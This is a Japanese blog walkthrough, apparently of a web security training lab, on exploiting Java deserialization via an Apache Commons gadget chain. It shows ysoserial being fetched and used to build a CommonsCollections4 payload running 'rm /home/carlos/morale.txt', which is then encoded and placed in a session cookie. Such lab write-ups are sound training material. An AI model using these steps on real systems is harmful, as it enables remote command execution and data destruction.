Shikata Ga Nai

Private? There is no such things.

Exploiting Java deserialization with Apache Commonse Commonsをやってみた

Hello there, ('ω')ノ

 

ApacheCommonsを使用したJavaデシリアライズの活用を。

ソースコードにアクセスすることはできないものの。

構築済みのガジェットチェーンを使用できるとのことで。

まずは、ログインして。 

 

f:id:ThisIsOne:20210219185419p:plain

 

下記より安全でないJavaオブジェクトの逆シリアル化を悪用して。

ペイロードを生成するためのツールを。

 https://github.com/frohoff/ysoserial

 

f:id:ThisIsOne:20210219184542p:plain

 

wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

 

f:id:ThisIsOne:20210219184831p:plain

 

基本的な使用方法は以下の通りなので。

 java -jar ysoserial.jar [payload] ' [command] '

 

CommonsCollections4を使って、ファイルを削除するコマンドを実行するようにして。

これでペイロードを含むBase64でエンコードされ。

シリアル化されたオブジェクトが生成されて。

 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

 

f:id:ThisIsOne:20210219185309p:plain

 

最後にURLエンコードして。

 

f:id:ThisIsOne:20210219190009p:plain

 

再度、ページをリロードして。

 

f:id:ThisIsOne:20210219190757p:plain

 

シリアル化されたJavaオブジェクトが含まれているCookieを置き換えて実行すると。

 

f:id:ThisIsOne:20210219190715p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210219190531p:plain

 

Best regards, (^^ゞ